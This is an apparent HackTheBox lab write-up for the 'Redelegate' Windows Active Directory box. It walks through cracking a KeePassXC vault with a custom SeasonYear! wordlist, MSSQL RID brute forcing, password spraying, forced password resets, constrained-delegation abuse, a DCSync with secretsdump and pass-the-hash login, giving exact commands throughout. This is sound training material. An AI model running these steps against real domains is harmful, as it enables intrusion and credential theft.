HTB Redelegate CTF Writeup
Hard-rated Windows Active Directory box. A KeePassXC database cracked from FTP yields MSSQL credentials. RID bruting and password spraying gain a foothold. BloodHound maps a constrained delegation chain, and SeEnableDelegationPrivilege enables DCSync to complete domain compromise.
HTB Redelegate CTF
Summary
Redelegate is a Windows Active Directory machine on HackTheBox. An FTP server with anonymous access contains a KeePassXC vault and a training document hinting at a weak password format (SeasonYear!). Cracking the vault with a custom-generated wordlist reveals multiple credentials, including one for an MSSQL sqlguest account. RID bruting through MSSQL enumerates domain users, and password spraying with the SeasonYear! pattern yields credentials for Marie.Curie. BloodHound shows Marie is in the Helpdesk group with ForceChangePassword over several users, including Helen.Frost, who is a member of Remote Management Users and has GenericAll over the machine account FS01$. After resetting Helen’s password and logging in via WinRM, the SeEnableDelegationPrivilege enables a constrained delegation attack: resetting FS01$’s password, setting msDS-AllowedToDelegateTo to target the DC’s CIFS SPN, enabling the TRUSTED_TO_AUTH_FOR_DELEGATION flag, then requesting a service ticket impersonating the DC machine account. A DCSync via secretsdump.py dumps the Administrator hash for full domain compromise.
FTP Server Enumeration
The nmap scan told me about the ftp server right away, that it has anonymous login enabled:
1
2
3
4
5
6
7
21/tcp open ftp syn-ack Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 12:11AM 434 CyberAudit.txt
| 10-20-24 04:14AM 2622 Shared.kdbx
|_10-20-24 12:26AM 580 TrainingAgenda.txt
I download everything from the ftp server:
1
wget -r ftp://10.129.234.50
Those are the files acquired:
1
2
3
4
5
$ find 10.129.234.50/
10.129.234.50/
10.129.234.50/Shared.kdbx
10.129.234.50/TrainingAgenda.txt
10.129.234.50/CyberAudit.txt
I look through TrainingAgenda.txt and among the content I see something interesting:
1
2
Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password
It’s worth taking into account this password format. Among the passwords there is a Keepassxc password database as well. It requires the master password.
Cracking Keepassxc Vault
I use keepassxc2john to convert the keepassxc vault to something JohnTheRipper tool can understand:
1
~/hacking/tools/john/run/keepass2john ftp/10.129.234.50/Shared.kdbx > Shared.kbdx.hash
I run john against it, but it never cracks (more than 5 minutes = no go)
1
~/hacking/tools/john/run/john Shared.kbdx.hash --wordlist=/usr/share/wordlists/rockyou.txt
So I write a python script to genenerate passwords based on the format mentioned earlier (with season + year + !):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
"""
Season-Year Password Generator
Generates passwords in the format: SeasonYear!
Example: Winter2024!
"""
import random
import argparse
from datetime import datetime
SEASONS = ["Spring", "Summer", "Fall", "Winter"]
def generate_password(year=None):
"""Generate a single password in SeasonYear! format"""
season = random.choice(SEASONS)
if year is None:
# Random year between 2020 and 2030
year = random.randint(2020, 2030)
return f"{season}{year}!"
def main():
parser = argparse.ArgumentParser(description='Generate SeasonYear! format passwords')
parser.add_argument('-n', '--number', type=int, default=1,
help='Number of passwords to generate (default: 1)')
parser.add_argument('-y', '--year-range', nargs=2, type=int, metavar=('START', 'END'),
help='Year range for random selection (e.g., 2020 2025)')
parser.add_argument('--year', type=int,
help='Use specific year for all passwords')
args = parser.parse_args()
passwords = []
for _ in range(args.number):
if args.year:
password = generate_password(year=args.year)
elif args.year_range:
year = random.randint(args.year_range[0], args.year_range[1])
password = generate_password(year=year)
else:
password = generate_password()
passwords.append(password)
for pwd in passwords:
print(pwd)
if __name__ == "__main__":
main()
I run the script to generate a password list:
1
python3 season-pass-gen.py -y 2000 2025 -n 100000 | uniq -u > passlist.txt
I run john again, this time using my custom wordlist and it works:
1
Fall2024! (Shared)
I access the database to multiple credentials:
I go through all of them, and save all passwords in a text file named “passwords.txt”:
1
2
3
4
5
6
7
cVkqz4bCM7kJRSNlgx2G
hMFS4I0Kj8Rcd62vqi5X
22331144
Spdv41gg4BlBgSYIW1gF
SguPZBKdRyxWzvXRWy6U
zDPBpaF4FywlqIv11vii
cn4KOEgsHqvKXPjEnSD9
MSSQL Enumeration
I notice, among the information in the keepassxc vault, a credential for “sqlguest”:
1
2
Username: sqlguest
Password: zDPBpaF4FywlqIv11vii
I’m able to use those credentials to log in to MSSQL:
I enumerated for:
- Databases
- Linked servers
- Impersonation
- MSSQL Coerce
- File Read
- File Write
- RCE with xp_cmd
But found nothing. I then enumerated for users:
1
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 10000
And got the results back. A few users:
1
2
3
4
5
6
7
8
9
10
DC$
FS01$
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc
I use the same password list from before (the passwords extracted from the keepassxc database) to password spray the domain, but I got nothing with those.
I generate more passwords, this time with only 2024 as the year:
1
2
3
4
5
$ python3 season-pass-gen.py --year 2024 -n 100 | sort | uniq > genpass.txt
Fall2024!
Spring2024!
Summer2024!
Winter2024!
And spray those passwords:
1
nxc smb 10.129.234.50 -u users.txt -p genpass.txt -k --continue-on-succes
To find a valid credential:
1
2
Username: Marie.Curie
Password: Fall2024!
What I find weird because if you look back at one of the text files in the ftp server:
One could assume weak passwords like this would not be present in the domain. It would make much more sense if one of the passwords from the keepassxc vault was actually the right one here.
Domain Enumeration
With valid credentials for the AD now I can begin enumerating. I get a TGT:
1
getTGT.py 'redelegate.vl/marie.curie:Fall2024!'
I generate a valid krb5.conf file:
1
nxc smb dc.redelegate.vl -u Marie.Curie -p Fall2024! --generate-krb5-file krb5.conf
And move it to /etc/:
1
sudo cp krb5.conf /etc/
I begin collecting data with bloodhound.py:
1
nxc ldap 10.129.234.50 -u marie.curie -p Fall2024! --bloodhound -c All --dns-server 10.129.234.50
I search for the owned user “marie.curie” and see they have ForceChangePassword over a bunch of other users because they’re member of the helpdesk group:
I see remote management users has only one member (helen.frost):
And helen.frost also has a oubound object control targeting “fs01.redelegate.vl” (has GenericAll over this machine account):
Initial Access - AD Exploitation
I change the password for helen.frost:
1
2
$ bloodyAD.py -u marie.curie -p Fall2024! -i 10.129.234.50 set password helen.frost NewPassword123!
[+] Password changed successfully!
I log in via winrm:
1
evil-winrm -i 10.129.234.50 -u helen.frost -p NewPassword123!
I capture user.txt in helen.frost’s Desktop folder.
Privilege Escalation
I notice helen.frost has a interesting privilege (SeEnableDelegationPrivilege):
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
This allows me to perform a constrained delegation attack, since helen.frost has GenericAll (full control) over a machine account (FS01$).
I change the password of the machine account:
1
bloodyAD.py -u helen.frost -p NewPassword123! -i 10.129.234.50 set password 'fs01$' NewPassword123!
Then I set msDS-AllowedToDelegateTo to Target SPN (the filesystem of the domain controller)
1
bloodyAD.py -d redelegate.vl -u 'helen.frost' -p 'NewPassword123!' --host dc.redelegate.vl set object 'CN=FS01,CN=COMPUTERS,DC=redelegate,DC=vl' 'msDS-AllowedToDelegateTo' -v 'cifs/dc.redelegate.vl'
Then I add the trusted for delegation flag:
1
bloodyAD.py -d redelegate.vl -u 'helen.frost' -p 'NewPassword123!' --host dc.redelegate.vl add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
I get a service ticket for the machine, impersonating DC:
1
getST.py 'redelegate.vl/FS01$:NewPassword123!' -dc-ip 10.129.234.50 -spn 'cifs/dc.redelegate.vl' -impersonate 'dc$'
Then I export the ticket to proper variable:
1
export KRB5CCNAME=./dc\$\@cifs_dc.redelegate.vl\@REDELEGATE.VL.ccache
And use secretsdump to get hashes:
1
secretsdump.py -k -no-pass dc.redelegate.vl
You can see the last steps of the exploit in the screenshot below:
Now I just copy the hash for administrator and log in via winrm:
1
evil-winrm -i dc.redelegate.vl -u administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7







